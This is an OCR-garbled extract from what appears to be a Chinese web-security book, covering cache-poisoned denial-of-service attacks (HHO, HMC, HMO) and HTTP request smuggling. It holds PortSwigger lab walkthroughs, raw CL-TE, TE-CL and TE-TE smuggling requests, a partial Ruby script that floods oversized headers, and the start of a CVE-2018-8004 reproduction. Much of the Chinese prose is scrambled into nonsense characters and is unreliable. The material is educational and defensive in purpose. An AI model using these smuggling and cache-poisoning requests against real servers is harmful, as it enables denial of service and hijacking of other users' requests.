i, BMMESEEMRERK web FIRTTIAIE R A

11.2 0x01 T{ERHE

ERNRERZ AR

. WEERIE
IRAbIE, RS

AEEH HTTP 153K, BXRFPEEHITEIR web HFRIVER
LB ER RERIFIRMH

SHRBLE

—FPETRY Web E1555RIK

&R, ZIEKEPEERF

2. BT EFRARBFHEMTZRNENEES, BB ERELERIGRS . ERIERSS

i, HATIEKRAE
3. Elt, RIBAR
4, HREEEREMN PERHEIRIUE,

5. BIERPEREERPEREERTR;

6. BERPTEEIRENE,
Client

(.

2

/\I===

=S

nnA
EZREIR

__N\kER =

2B, FELZEMER;

GET /index.htm!| HTTP/1.1
Host: example.org
X-Malicious-Header: Some value

HTTP/1.1 400 Bad Request
Content-Length: 10
Content-Type: text/plain

Some error

GET /index.html HTTP/1.1
Host: example.org

6

HTTP/1.1 400 Bad Request
Content-Length: 10
Content-Type: text/plain

Some error

RIFEEREFRIEIRTTH.

Cache

GET /index.html| HTTP/1.1
Host: example.org
X-Malicious-Header: Some value

HTTP/1.1 400 Bad Request
Content-Length: 10
Content-Type: text/plain

Some error
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11.3

11.3.1

NG ki] CPDoS: —FiFik Web EF SR KT

FIF CPDos Wifi 53, WEEFIHA IMFELEFIFI51E@iT CDN (4 Cloudfront % Clloudflare)
RaEEREEFIR (0 Varnish 8 Squid) IEERIE( web FIFE (R EE TN ZAZHERR,
WREEH. JavaScript XHEZETIHER) . FRIBHE, REHERFEROME—IXIEK, WMEE
BRI IE = B 1518 B AR A B B S 45155

0x02 CPDoS 25l

HATHME] 3 KA [ERY CPDoS:
HHO (HTTP Header Oversize, HTTP k&Bid )
HMC (HTTP Meta Character, HTTP JTF1F)
HMO (HTTP Method Override, HTTP /£E& )

HHO

HTTP iERAFLHRBEESWHRE ARG R web RBRIEFEEN—LER, ERBESEFHEXNLT
FEREEFPIHISIEAEE B REBINATEIE. HTTP inERHIREE X HTTP 5Kk
WE9AN, ELE, FEFRF. web FRZZZAK web EZREA/NEFH L EBSHHME. KZSE web
RS2 UK IE (Apache HTTPD) FRBRHIAIIERLAIA/NAR 8192 F77, UEMIEKRLEF X
i ReDoSK i, AT, HttBLPERANRIZHESETXDEHEE, LB, Amazon Cloudfront
CDNAFHIARNF 20480 F1, REBITUFARX—=, BIHERLK/NRHIRLEEFSREGE,
REZADIELIRSUR.

3 web N FAERANEFIR D ITRLIA/NERIBRSIHRITFREAR, XMiHs TREEM TN
A% HHO CPDoS Wi, N7 XM web N, BEEF IR MKLE—D HTTP GET 15K, HApk
HBANEFEBRBRSIHEZIFNRAER, BNTFEFRIRNREAE. A TTRIZERE, RESATUE
MMIERE, XEEAMME—MER, BERAPEEFZERLATFER (ZZUWT Ruby KIBRER) ;
WEERAOERERRE LS, HPEa— M I RNRE.

require
uri

req il 3 .new(uri)

until i > num do

reql

i w=ilg
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https://httpwg.org/specs/
https://httpd.apache.org/
https://nvd.nist.gov/vuln/detail/CVE-2010-2730
https://nvd.nist.gov/vuln/detail/CVE-2010-2730
https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-staicu.pdf
https://aws.amazon.com/cloudfront/
https://aws.amazon.com/cloudfront/

bkl CPDoS: —FiFik Web EF SR KT

.start(uri.hostname, uri.port, => uri.scheme ==

http.request(req)

TEHEHE HHO CPDoS Withs, HABEEFIHAER LARKBLEBRWEN—MEK, £
FiREIZIEKR (BEMELSFR) KEEMES (ERLEBAIMET 20480 F75) . 24T, web R
FinaMEIEZIERK, RE—TEIRIE (BAIEKKEE T KEA/NRE]) . #8 404 Bad Request
KSBHNERTENESEEFHER. SFNEMZRNEEMBBERBSROERE, MASER

EIE HHE.
Client o Cache o Server

GET /index.html| HTTP/1.1 GET /index.html HTTP/1.1
()

Host: example.org Host: example.org
—{ X-Oversized-Header-1: Big value | = X-Oversized-Header-1: Big value |
X-Oversized-Header-2: Big value X-Oversized-Header-2: Big value

(4 ©

HTTP/1.1 400 Bad Request HTTP/1.1 400 Bad Request -

Content-Length: 20 Content-Length: 20

| Content-Type: text/plain - | Content-Type: text/plain .
. C

Header size exceeded Header size exceeded

Ay
| GET /index.html HTTP/1.1 >
Host: example.org
HTTP/1.1 400 Bad Request
Content-Length: 20
1 Content-Type: text/plain -
Header size exceeded

AR AMEZANIN T R EH I HEETE Cloudfront E7Rfl web R FA#J HHO CPDoS i, LRI
T, WHEBRREFEME web ZRERAEIRTH, REASHETNELERHRS.

11.3.2 HMC
HMC CPDoS WHHRES HHO CPDoS Bifikfil, XREWHEH KRB KIEIKAKES, MEEIE
AEEREETFRERERETEF IR, TFNFAIMUNERFR, CMRTRH/EZES (\n). 81T
& (\r) HEWRT (\a),
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https://cpdos.org/videos/HHO.mp4

11.3.3

bkl

CPDoS:

—HME Web EEFSHRBGE

Client

%

GET /index.html HTTP/1.1

== Host: example.org

X-Metachar-Header: \n

HTTP/1.1 400 Bad Request
Content-Length: 21
Content-Type: text/plain

Character not allowed

Cache

GET /index.html HTTP/1.1
Host: example.org
X-Metachar-Header: \n

HTTP/1.1 400 Bad Request
Content-Length: 21
Content-Type: text/plain

Character not allowed

Server

=
— GET /index.html HTTP/1.1 >
Host: example.org
HTTP/1.1 400 Bad Request
Content-Length: 21 -
1 Content-Type: text/plain -
Character not allowed

ZFIR A BEARMAILZBERIE L IREFNTFRN, HEREXMIERRERRIERS K. BTE
KPESEENTFR, FLRERSHAEZFZERIDEEERRS, ROt
WEFIREFAER.

195/ﬁ IGN y lxlﬁlu\ﬁ

HMO

HTTP #r/ERM T 2 HTTP 7375, DAME web BRSFIH AR E P in T & web 55, GET. POST.
DELETE K& PUT 7 web N AR ETF REST i web BRBREFERIN/LM HTTP FiE. A, FZH(E
A4 (IR, aEthEss. EFUKBAKIE) RA$F GET & POST /5%, XEMKE{EMA DELETE &
PUT WY HTTP iER S FELE . BT S izBRE, FZETF REST #Y API 3§ web HEZ2 (4Play Framework
1) BT —LESL B ES, 4 X-HTTP-Method-Override. X-HTTP-Method & X-Method-Override,
MALMEIEBELERY HTTP /535, —Bi5KEARS I, XELTFERSS web NAFERNNNERE
=IEKRITHII HTTP 5.

POST /items/1 HTTP/1.1

Host: example.org

X-HTTP-Method-Override: DELETE
HTTP/1.1 200 OK
Content-Type: text/plain

Content-Length: 62

Resource has been successfully removed with the DELETE method.

W ERAR, ZBERATUG T LR,
fmzm,‘|mmeXAW%ﬁﬁDmEmmﬁ

I X-HTTP-Method-Override k3 {$FF DELETE i&H3K.
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https://httpwg.org/specs/
https://www.playframework.com/documentation/1.5.x/home
https://www.playframework.com/documentation/1.5.x/home

11.4

bkl CPDoS: —FiFik Web EF SR KT

HhERASEIEAREE HITP 5iERK, XLELLFEMIEEETH. A, WR web NAX
FXFLE, HEFERT web EEFERR (NkERIBLEEFS CDN) ML, BABEER
i A] AR B IX Fp 28 ¥ Sk & #2 CPDoS i, TEDER 7 HER HMO CPDoS WiEir=, HHERT

X-HTTP-Method-Override L.
Client Cache Server

GET /index.html HTTP/1.1

GET /index.html HTTP/1.1

= Host: example.org > = Host: example.org
X-HTTP-Method-Override: POST X-HTTP-Method-Override: POST
HTTP/1.1 404 Not Found HTTP/1.1 404 Not Found
Content-Length: 29 Content Length: 29 -
| Content-Type: text/plain - 1 Content-Type: text/plain -
POST on /index.html not found POST on /index.html not found

. C

GET /index.html HTTP/1.1 -
Host: example.org

HTTP/1.1 404 Not Found
Content-Length: 29

- Content-Type: text/plain

POST on /index.html not found

FELEH, WEEBEKEN GET EK™H, X-HITP-Method-Override kEFFERAIEN POST., 7F
ERANEFRRIGZERBITNRIE hrtps://exanple.org/index.html KIER GET iR, A,
web B SIEIZIERBEN A POST ER. FLL, web MASET POST IHRFRENME, XEHNER
1% B ¥R web N FAFHIZREE/index . html FLILEMRT POST IEKAENELE, FEXFMIBERT, web iE
Z8 (WNPlay Framework 1) SIREIEFIRER, IASIBR 404 Not Found, EFImmiAJIREIMINER LA
REEIRIEX N AYZ R 1E https://example.org/index.html BY GET 353K, #RI#ERFC 7231, 404 Not
Found P AMEZN—MIREE, ALEFiRsFHEANEENEEBFEREAXTHEENE. EE
BPMEEMNEFIHURM https://example.org/index.html &% GET 15K, #HoWBIWEFZAHE
RBEEK 404 Not Found AZSHE, ARBEIEIER web N FHEEIATIHE.

£ web N FARY HMO LIS ML, EARIREGE(EAPostman TEBHLEAF ARG TIE.

0x03 RSB

TEIR/RT CPDoS Bfixf CDN KIS, SEANIRIRTESS, CDN FHEHLKMEIH R SHMANDEEFR

o FEPER T X MEIRIIEE CDN SR FRVESHEE, Hf, AL REERERITERU

B, ZENRE, ATEMERERSF[H=REXMIK \yﬂlﬁ], RRDEARSRAFELIRMR, 1%

AREFIRAIDIZREIEETNE. BeSihRIERSIFRNUE, MR —TLIFAREENMLE,

RIFFE—KE, SREBEMNE="REERE E’\JEAEEHE%“Z&ECPDoS TR, BB I ER

PTMUEBZRIEIN, RIEFEKE, SWEEMNZELATELNTEMEZNE —MRRS S LR
CPDoS KihhY, EEE D XIFZZEIRM,



https://www.playframework.com/documentation/1.5.x/home
https://tools.ietf.org/html/rfc7231
https://cpdos.org/videos/HMO.mp4
https://www.getpostman.com/downloads/

wED CPDoS: —Hh§ifd Web EF5RM T

_ sverige

Actana
[ 3]

 Kazaxctaw

Eépa"i
Portugal

HA 18I TurboBytes Pulse & KeyCONBYMIE T BRI E AR, XM T ARS MEER ML IFIE,
BHRBHEXFZNLE,

0x04 CPDoS BRI

TEZEHER T M web EEF RS HTTP SLIEEN 22 CPDoS Wt# I, MRAKRETHES
T3, FITAEIEAE T EFAIRE .
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https://pulse.turbobytes.com/
https://tools.keycdn.com/speed
https://cpdos.org/paper/Your_Cache_Has_Fallen__Cache_Poisoned_Denial_of_Service_Attack__Preprint_.pdf

bkl CPDoS: —FiFik Web EF SR KT

Cache

HTTR Apache Apache MNginx  Squid Varnish Akamal Azure CDN77 CDNSun Cloudflare CIoudFromﬂ Fastly G-Core KeyCON  StackPath
implementation HTTPD s Lahs
Apache HTTPD + a o 3 a = = C a HHO, HMC

{MaodSecurity)

Apache TS

Ngirx + (ModSecurity) o 3 : o c a : a 3 HHO

e ] o o o (HHO) (HHO) - (HHOY o (HHDY) HHO, HMC HHD) | o
Temecat ] a o € a = o E a HHO

Squid

Warnish o o o o o ¥ a o HHO, HMC

Amazon 53 . o o a 0 o s - C o HHO

Google Clowd Storage

Github Pages a 3 - o o HHD, HMC
Gitlab Pagas o o 5 a [ e C o HMC
Heroku ] ] ) c o ] HHO
ASPNET ] a : {HHO) [HHO) o [HHD) c (HHD) (HHO), (HMGC) (HHO) =
Bealo 1 Y B F . g HME
Django ] o o o o € o {HHS), (HMC)
Express.js 3 " ) v a o " HMC
Flask g c G a (HMO) o o . 3 HMO, (HHOD),
(HRC)
Gin a o & o o HWMC
Laravel o o o 1] o [:} a o (HHO}, (HMC)
Mebeorjs 5 o o o 0 o 0 @ o HMEC
Play 19 -] ] o c HMO HMO @ HMO L HMO HHO, HMOQ HrD
Play 2 ] 1 -] C o ] HHO, HMC
Rails y o o o o € o {HHO), (HMCS)
Spring Boat 2] ) o a r o o ) HHO
Symifany g c E a o a o ) 3 {HHO), HMC)

11.6 0x05 =g+

HHO & HMC CPDoS ZFTIABER TN, FEETFERENEFHERIANBEATREFHEESER
KIBRIN@R, (A0 400 Bad Request) , 1R3E HITP iRE, XA ATFHN—FITH, Web EEFMHER
FVFLETF 404 Not Found, 405 Method Not Allowed, 410 Gone AR 501 Not Implemented ‘&%, &
b, FATFZERE HTTP A RIRREFHIRNE, X% CPDoS WEHEMNE—THIE,

AR IRMEH TN TR NI IRTE) EE@ﬁﬁﬂl‘]F“E’Hkuﬁfj tbgn, % HTTP LEFSRIT KA
SLEBIR[E] 400 Bad Request f{f8, RXHAZEERVREE, HFELITKE, IS EERER 404
Not Found, BEIFERFIKIERLAEIRIBA 431 Request Header Fields Too Large, IRIE
BN, XPMEIRERHASHWIE web BERFFNER.

£3¢ HHO & HMC CPDoS W HERI B — %ﬂlﬁﬁxﬁlﬁﬁ%ﬁnmi)\%ﬁEPHFIZ%EW»%J\E —MAEMEES
TMEIRTE PRI Cache-Control: no-store 3k, Z—MRIMEEEFEEFEAERNHER
INBE. ZEAM CloudFront 3} Akamai Z 3R CDN %?ET#%TLXEEE, BTFRP#HITERE,

LESh, FHAMBAIAZEE WAF (web N AAFGAE) RLZERE CPDoS i, fAT, WAF IMEBEEERF
ImEl A, MMEEEEABIARIGIRSZ0IREE L. SR WAF BREERBRSESEA, Be
WREEFA, RINEFHEIRIE
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Py bagiin CPDoS: —Fh§AY Web EFSHRIE
MBAFRETBEXTEFEERAENESHT, BSERINMARIEX.
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https://cpdos.org/paper/Your_Cache_Has_Fallen__Cache_Poisoned_Denial_of_Service_Attack__Preprint_.pdf

12.1

12.2

12.3

R BRRBIE—HTTP i REF

fEZE: mengchen@ HIEBIF 404 SLHNE
3R https://paper.seebug.org/1048/

1. B
RIEEF SRR BlackHat BIIXER, HPHE—FIXE—"HTTP Desync Attacks: Smashing into the Cell
Next Door”” 5|#2 T FARAMNME, HHAP, FEHRT HTTP EFANEX—KNEFER, AEFZ T
M—ERHERG, HZAMKRFREX—ELN, RENZ-—REAXNET T ZEBNFEIRIE,
TEME T X—RWXE,

SRT, FAR—KWEARNNVEE, HREE—LEHIR, TFEMFLE,

ot

2. RENEZ%

E=EE 2005 &, H Chaim Linhart, Amit Klein, Ronen Heled # Steve Orrin #[E5emK T —fE xF HTTP
Request Smuggling X—XEHEARNNIRE ., @I ED RFC XN DT A RFEEAISES, IER T X—
WEARXNEEM.

https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

£ 2016 ZEHY DEFCON 24 I, @regilero 7EAtAYIN R
MIEARHITTEENY 7.

Hiding Wookiees in HTTP FR3JBIE R &S

https://media.defcon.org/DEF),20C0N%2024/DEF},20C0N%2024%,20presentations/DEFY
20C0ON%20247%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

7£ 2019 £ /Y BlackHat USA 2019 L, PortSwigger A James Kettle 7£ tf 891X @——HTTP Desync
Attacks: Smashing into the Cell Next Door X HEIRINEKIME, BR TERDREBERHATREN
WEAR, ¥YRTXEE, HERETZBN—ENNFARE.,

https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-
door-15153

3. =4EREA

HTTP BRAETX—RE SR, ERGEN Web RESRIBELREN, EESWREER
MAHET, FEMNIRSHT RFC {RASINARRE, RERE, K%, HE— HTTP &
R, FEMRSRITEAFETROMBER, SHAFET TR,
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https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

kil MBI E—HTIP IEREF

EHITRENZIMRAI, BAIERKINR—TUNSERRA IZR HTTP 1.1 94T
Alive&Pipeline,

£ HTTP1.0 ZBIASIASGRITH, BEFHRSHT R HTTP EK, MEERRSSIEIL— TCP i#
1, MIMAA Web WISTIEE A ZMERAMRY, FNNERRN—TMITNASR, TYXEIEK HTML
X4, BB IS, CSS. AR FJIMEFENTER, XHENRRBZAINMINRTT, MESEHTTP RS
SN FFHIEKR, T27E HTTPL.1 F, IBHNT Keep-Alive M Pipeline XF T4,

P18 Keep-Alive, #iZ27E HTTP iEKHIEIN—M457RAIIEKR L Connection: Keep-Alive, FHiFARSS
28, BWSEXR HTTP i5KfGE, AEXHA TCP ¥4, FEXERE BRARSS 2340 HTTP 155K, ERX—
I TCP ###%, XBFERFEHIT R TCP EFHNERE, FJLURDIRSSHRNTHE, TUORIR, TEEMIR
hERE, S, X514 E HTTPL.1 REERIAFER.

BT Keep-Alive Z[5, REEFA T Pipeline, £ XEBIE, EFFimA MGM/KEZ—1E & XEH S8 HTTP
BR, MAREFGRSROMA, RSB[BAVIENENE KRG, FTEER/ANTENG, RKiEKNIW
RzEAS IS MRSk, BRI & IXLGLE i,

mMans, RsTLRBIAR A E R Pipeline 8, BR—RRAIARSS 23 EBER 4L T XT Pipleline AYX#5,

ATRARFHENREE, IRSERMLR, MiZRSHENNIE, RSWISEA LT CDN 1IEARSS,
KB RAMNERS, MEERENBEN LE—TBEEEFNENRENERSSS, AREBRELR
SERE, BEMCIERS S AIUREE, TRABMRISAMERS IR, XA T — T REE
AOFRENEGA,

Keep-

LAMPL

AR
et

LAMP 2
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12.3.1

RO BRI BIHE—HTIP & RETRA

—fieRin, REANERSSHES ERRILIRSSE 2B, S5 TCP #i%. XthREZIER, AP
MoMEER TP 2, BIDERNNEHEAHWERN, X4 TCP M BREER, mMRIERSHS
[EiRERIGARSZ 2300 1P U 2EXNEE, FRIAFPNIERKEIAIERS RS RILARSEEIIHER, X
& Z B8 TCP #1Z#1TER, thHERET .

YIRS 2R L IE—DEERERM HTTP iEKEY, HTFAERSZHZOIMARXAE, A8
RERSFFANXE—D HITP 5K, ARRBEHERLA T BERINRIGARSSS, BRIGRSR[BLIHENT
WiERE, RIAREFRN—EDRNIEEEK, FTHBR—8D, MEREFNIEKR, HZHONEER
FRIEKRER TNz fE, MR T HTTP EFfAKE.

3.1 CL 7K 0 9 GET iER
HEXE, mRNHAUNE GET &K, FIENE®HIERIRN HTTP Gk A ez Ltteim, R
9 GET tEiRBaE, FAMEEER—T6IF.

f£ RFC2616 H, 2B GET 153K 1& POST IERIBHFIEHERMMMEANE, EERFTAI RFCT231 AY
4.3.1 THRBUNRT —43,

https://tools.ietf.org/html/rfc723 1#section-4.3.1

sending a payload body on a GET request might cause some existing implementations to reject the

request

RizEinfCEEARSS 28 7 VF GET BRIEHFIBERIF, MERMRSHZA VT GET BREFIBERAE, E
= EIZBHEE GET 15KHRY Content-Length 3k, AHITLIE, XA RIBESEUEKET,
EEaNBeA IADIE1E K

GET / HTTP/1.1rn
Host: example.comrn

Content-Length: 44rn

GET / secret HTTP/1.1rn
Host: example.comrn

rn

IR ARSS2RUNEIIZIEK, @ITIEEX Content-Length, FIBRPXE—1NZRAIEKR, RERELRLGEIHER
%25, MEHRSRKEIGE, EAEARN Content-Length #4T4LIE, HT Pipeline BITFTE, ERIANIX
=WEITRMEK, D2
B—1
GET / HTTP/1.1rn

Host: example.comrn
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12.3.2

b yax iy MBI BE—HTIP iBEREF

BN
GET / secret HTTP/1.1rn

Host: example.comrn
BIMSH T EREND . EAX 43. 1 NTE-PRUTX-KE LG, HEEESERET.

3.2CL-CL

£ RFC7230 K958 3.3.3 MAHRAISEIIEA, IIEHRSB[KEINIEKRFPEE T Content-Length, MH
MENEARERN, FEIRED 400 Hiz,

https://tools.ietf.org/html/rfc7230#section-3.3.3

BRESARSHAZTHBITINANTE, RIXPENIEIRS SNSRI ARS SR EUREIZEM
HOIEKREY, #BAZIRE 400 IR, BE2HENIERSSFZIBE—T Content-Length BUEIIIEK#HITLL
E, MamRaARSSS3REBE 1 Content-Length R{EFITAIE,

LR BRI & A AMIE— TS RENIE K

POST / HTTP/1.1rn
Host: example.comrn
Content-Length: 8rn

Content-Length: 7rn

12345rn

)

B A IEAR S5 2 SRENZ RV AR BRI KN 8, ¥ ERB NIRRT R 4 FiRaR I AR
528, MEmRSH[ANFNNEIEEREN 7, HEWZH 7 1MFRE, BiRRSZANBLERT
B, REERIINMA, RELHZE, MERNEPXERRR—TFE o, WTERRSSIHKR, X
Ta B T—TBERN—8, BREEREEHTE. WRIEEE—THMNEERF RS SHTT
BXR, RIREKUEFR.

GET /index.html HTTP/1.1rn

Host: example.comrn

MBIEHEABEINET, IEARSSE:S RiLMRSS 52 B—MRZER TCP &EiZ,
ZRMRIEERFRBERMHAHRR T FR a NEHE, SERRS[EWTERE, EXMEENEKR
HXZ

aGET /index.html HTTP/1.1rn

Host: example.comrn
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kil MR E—HTIP iEREF

XBH &R P S W E]—1 21T aGET request method not found BY#RES, XAER LI T —)X HTTP
ELRE, MEENEERFPIITHER TN, MBEEAINY BAEMNT CSRFNKELR,

B2 Content-Length X EKRB AR AT FEEAMAT, — MRS BAILESIXMEE
A TIERKIIERE. {ERTE RFC2616 B9 4.4 TR, FIE: MRUKEERSZ7E Content-Length F
Transfer-Encoding X MK LG KB, FELEAEIHRNIZEE Content-Length, XE ST EIR
HEKEPRANEEXAMERAHANEETM, RFBFLAFEIRE 400 F5I1R, ARSZB[EXERISTIN
BER S,

https://tools.ietf.org/html/rfc2616#section-4.4

12.3.3 3.3 CL-TE
Frig CL-TE, FlaEIWEIFEMMERLIEKREN, BlinfCEEARS 28R Content-Length IX—1F
KRk, MEIRRSZIZZIEST RFC2616 BIFIE, 7ZBE&IE Content-Length, K2 Transfer-Encoding 1IX—15
Kk
chunk EHEIERIVANT, EA size BIER 16 HEIRT

[chunk size] [rn] [chunk data] [rn] [chunk size] [rn] [chunk data] [rn] [chunk size = 0] [rn] [rn]

Lab Hhilk: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
ISR B

POST / HTTP/1.1rn

Host: ace01fcf1fd05faf80c21£8b00eal06b.web-security-academy.netrn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8rn
Accept-Language: en-US,en;q=0.5rn

Cookie: session=EOmlpnYfbvtMyEnTYSebeijPDCO4EVm3rn

Connection: keep-alivern

Content-Length: 6rn

Transfer-Encoding: chunkedrn

rn

Orn

rn

ELRIETLRER R AT ARSI
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PP sk BRI BIE—HTTP iEREF

[ Target T Proxy T Spider I Scanner T Intruder TRepeauer T Sequencer T Decoder T Comparer T Extender T Project options T User options Tﬁ.ielts Flow
1 2 3
| Go Cance < v > (v Target: hitps://ace01fcf1fd05faf80c2 1f8b00ea006b.web-security-academy.net EJ \J

Request Response

i Raw [ Params Head_ers | Hex i i Raw | Headers Hex-]

HTTP/1.1 403 Forbidden

POST / HTTP/1.1 A ]
Host: acellfcflfd05fafB0c2lf8bllealltb.web-security-acadeny.net r Content-Type: application/json r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; Connection: close

rv:56.0) Gecko/20100101 Firefox/56.0 Keep-Alive: timeocut=0

Accept: Content-Length: 27
text/html,application/xhtml+xml,application/xml;qg=0.8,*/*;g=0.8

Accept-Language: en-US,en;g=0.5 "Unrecognized method GPOST"

Cookie: session=E9mlpnYfbvtMyEnTYSe5eijPDCO4EVmI
Connection: keep-alive

Content-Length: 6

Transfer-Encoding: chunked

0

G

AT alimARS 2342 Content-Length, FRAX MEKRN FERIFZE—TTEAIEK, BRI EKE
N6, HE

Orn
rn

G

HIEKREETREBRSB[BEREEIRRS 2B, SiRARSE3LGIE Transfer-Encoding, =HEIEEE!
Ornrn BY, INNEZZREIER T, B2 THFES C MHBE TEPXP, FEELBEKRNEIR, 3
RNEERIFBEKGE, KEMNEKRESIHRIRSZIZIPHER T XM TEXMIES

GPOST / HTTP/1.1rn

Host: ace01fcf1fd05faf80c21£8b00eal06b.web-security-academy.netrn

ARSI HASTERE T .

1234 3.4TE-CL
P8 TE-CL, FEIAWEIFERTERANEKREN, BinfCERS234LIE Transfer-Encoding X —15
Kk, MEIRIRSEILLIE Content-Length 18Kk,
Lab 31k https:/portswigger.net/web-security/request-smuggling/lab-basic-te-cl
MIEEIEE

POST / HTTP/1.1rn

Host: acf41f441edb9dc9806dca7b00000035.web-security-academy.netrn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8rn

Accept-Language: en-US,en;q=0.5rn

Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKwbifewrn

147



12.3.5

PP sk BRI BIE—HTTP iEREF

Content-Length: 4rn
Transfer-Encoding: chunkedrn
rn

12rn

GPOST / HTTP/1.1rn

rn

Orn

rn

[Target T Proxy T Spider T Scanner T Intruder T Repeater TSequencer T Decoder T Comparer T Extender T Project options T User options I Alerts | Flow

1x |2 = | 3= |edupenl ..

Capns = = . al i 12 >
| G Cancel o Target: https://acf41f441edb9dc9806dca7b00000035.web-security-academy.net LA’J LJ

Request Response

i Raw | Params | Headers | Hex I Raw | Headers | Hex

POST / HTTP/1.1 HTTP/1.1 403 Forbidden

Host: acfd1f44ledbIdcIBO6dcalbl0000035.veb-security-academy.net : Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.14; Connection: close

rvi56.0) Gecko /20100101 Firefox/56.0 Keep-Alive: timeout=0

Accept: Content-Length: 27
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;g=0.5 "Unrecognized method GPOST"

Cookie: session=3EyiuBiZSygjizgAfyGPnEVdGbEwsiifew
Content-Length: 4

Transfer-Enceding: chunked

12

GPOST / HTTE/1.1

0

AT alimARSZ 234018 Transfer-Encoding, ZHEIEZEXR! Ornm BY, IANRIEESEEET, X MES
FWHIEBRSZB[BRIZE—TREMNIER, REELALEIRRSEE, FinRS2Z34E Content-Length 153K
L, HEERS 2m 25, MIAAXMEREEERT, BEHNBIEMIAAZS—MEKRT, Ui

GPOST / HTTP/1.1rn
rn
Orn

rn
RLINHREE.

3.5 TE-TE
TE-TE, thREHIEME, SREFERMTIERLNEREN, BIEIHRARSERALIE Transfer-Encoding
BERk, RWEFLIMT REC WinE, A IRIRmRRSB[BERAZR—M, XMET A &
17T PASY & 15 R91E 5K B R RY Transfer-Encoding # 1T EMURIBIRIE, MMERER - RS B[ ALE
ﬂmﬁmhw@g%*%oMiﬂ%ytE%GﬂEﬁ%TEam

Lab 31k https:/portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

MIEEIEE

POST / HTTP/1.1rn
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PP sk BRI BIE—HTTP iEREF

Host: ac4blfcb1£596028803b11a2007400e4.web-security-academy.netrn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8rn
Accept-Language: en-US,en;q=0.5rn

Cookie: session=Mew4(QW7BRxkhkOpl1Thny2GiXiZwZdMd8rn

Content-length: 4rn

Transfer-Encoding: chunkedrn

Transfer-encoding: cowrn

rn

5crn

GPOST / HTTP/1.1rn

Content-Type: application/x-www-form-urlencodedrn

Content-Length: 15rn

rn

x=1rn

Orn

rn

[Target T Proxy T Spider I Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer IExtender T Project options T User options T&Ielts Flow

Go " Cancel < |» b Target: https://ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net L’J CJ

Request Response

I Raw l Params | Headers | Hex ] Raw I Headers | Hex I

POST / HTTP/1.1 A HTTPf1.1 403 Forbidden

Host: acdblfeblf596028803b11a2007400e4 . .web-security-academy.nat - Content-Type: application/json :
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.14; Connection: close

rv:56.0) Gecko/ /20100101 Firefox/56.0 Keap-Alive: timeout=0

Accept: Content-Length: 27

text/html,application/xhtml+xml, application/xml;g=0.9,*/*;g=0.8

Accept-Language: en-US,en;g=0.5 "Unrecognized method GPOST"

Cockie: session=Mewd(QW7BRxkhkOplThny2Gi¥iZwidMdE
Content-length: 4

Transfer-Encoding: chunked

Transfer-encoding: cow

Se

GPOST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1

0

12.4 4. HTTP EFLA B SEHl——CVE-2018-8004

12.4.1 4.1 [BEER
Apache Traffic Server (ATS) 2EEMIAZ (Apache) BHFESREO—MBK. AF R HTTP RIBA]
E1FRSS R,
Apache ATS 6.0.0 lRAEZE 6.2.2 lRAFHM 7.0.0 lRAEZE 7.1.3 RAFZFERERE. REEAH AR
TSEHE HTTP B RE RN EREF S,
AXEERESRSRAESR, RITTUMEIXTRRANDMIT, EFREIIHEE—T.
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12.4.2

bkl

MBI BE—HTIP iBEREF

CVE-2018-8004 #M T 311
https://github.com/apache/trafficserver/pull/3192
https://github.com/apache/trafficserver/pull/3201
https://github.com/apache/trafficserver/pull/3231
https://github.com/apache/trafficserver/pull/3251

T BRAREESPHERMZHEZMMTEET 7.1.3 lrAs, BM github LT VIAEMRAFE, &

713 lREAFEZEE T KB R,

4.2 HAE

4.2.1 B

EXE, BAIAATS 7.1.2 A, HBE-TERANLIFE,
WRABHNA

2 e 32 AR 55 28

IP: 10.211.55.22:80
Ubuntu 16.04

Apache Traffic Server 7.1.2

[5 U AR 55 28 1-LAMP
IP: 10.211.55.2:10085
Apache HTTP Server 2.4.7

PHP 5.5.9

[& i AR 55 28 2-LNMP
IP: 10.211.55.2:10086
Nginx 1.4.6

PHP 5.5.9

IMEIRFME
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PP sk MBI BIE—HTIP 5 RER

ESPFERRERELNY S
Attacker

AT5 712

LAMP

Apache Traffic Server —fgFBE HTTP B EFRSFEE, EXDMAMER, BREEITET AR
#hfy Ubuntu EHALH, IBEEENEIHRSEE LAMPLKLNMP R ERE, AREHRAN HOST X
4, Y515 % ats.mengsec.com H] Inmp.mengsec,com BEHFTEIX 1P, SAFG7E ATS LECEMEY, HEXI
HRRME, FNEARNIAEIE R ats.mengsec.com BT P B IEIRS2:, KRS LAMP MR, £
AHLiAE)1E R Inmp.mengsec,com, 3X1§ LNMP BIMEL;,

RNTHEEBHIBERNEIES, FHE LNMP 1 LAMP 9 Web B3R TENE T HiE KL HIEIAK,

LNMP:

function

$headers = array

foreach ($_SERVER as $name => $value
if $name

$headers
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PP sk MBI BIE—HTIP 5 RER

return $headers

422 BETIE
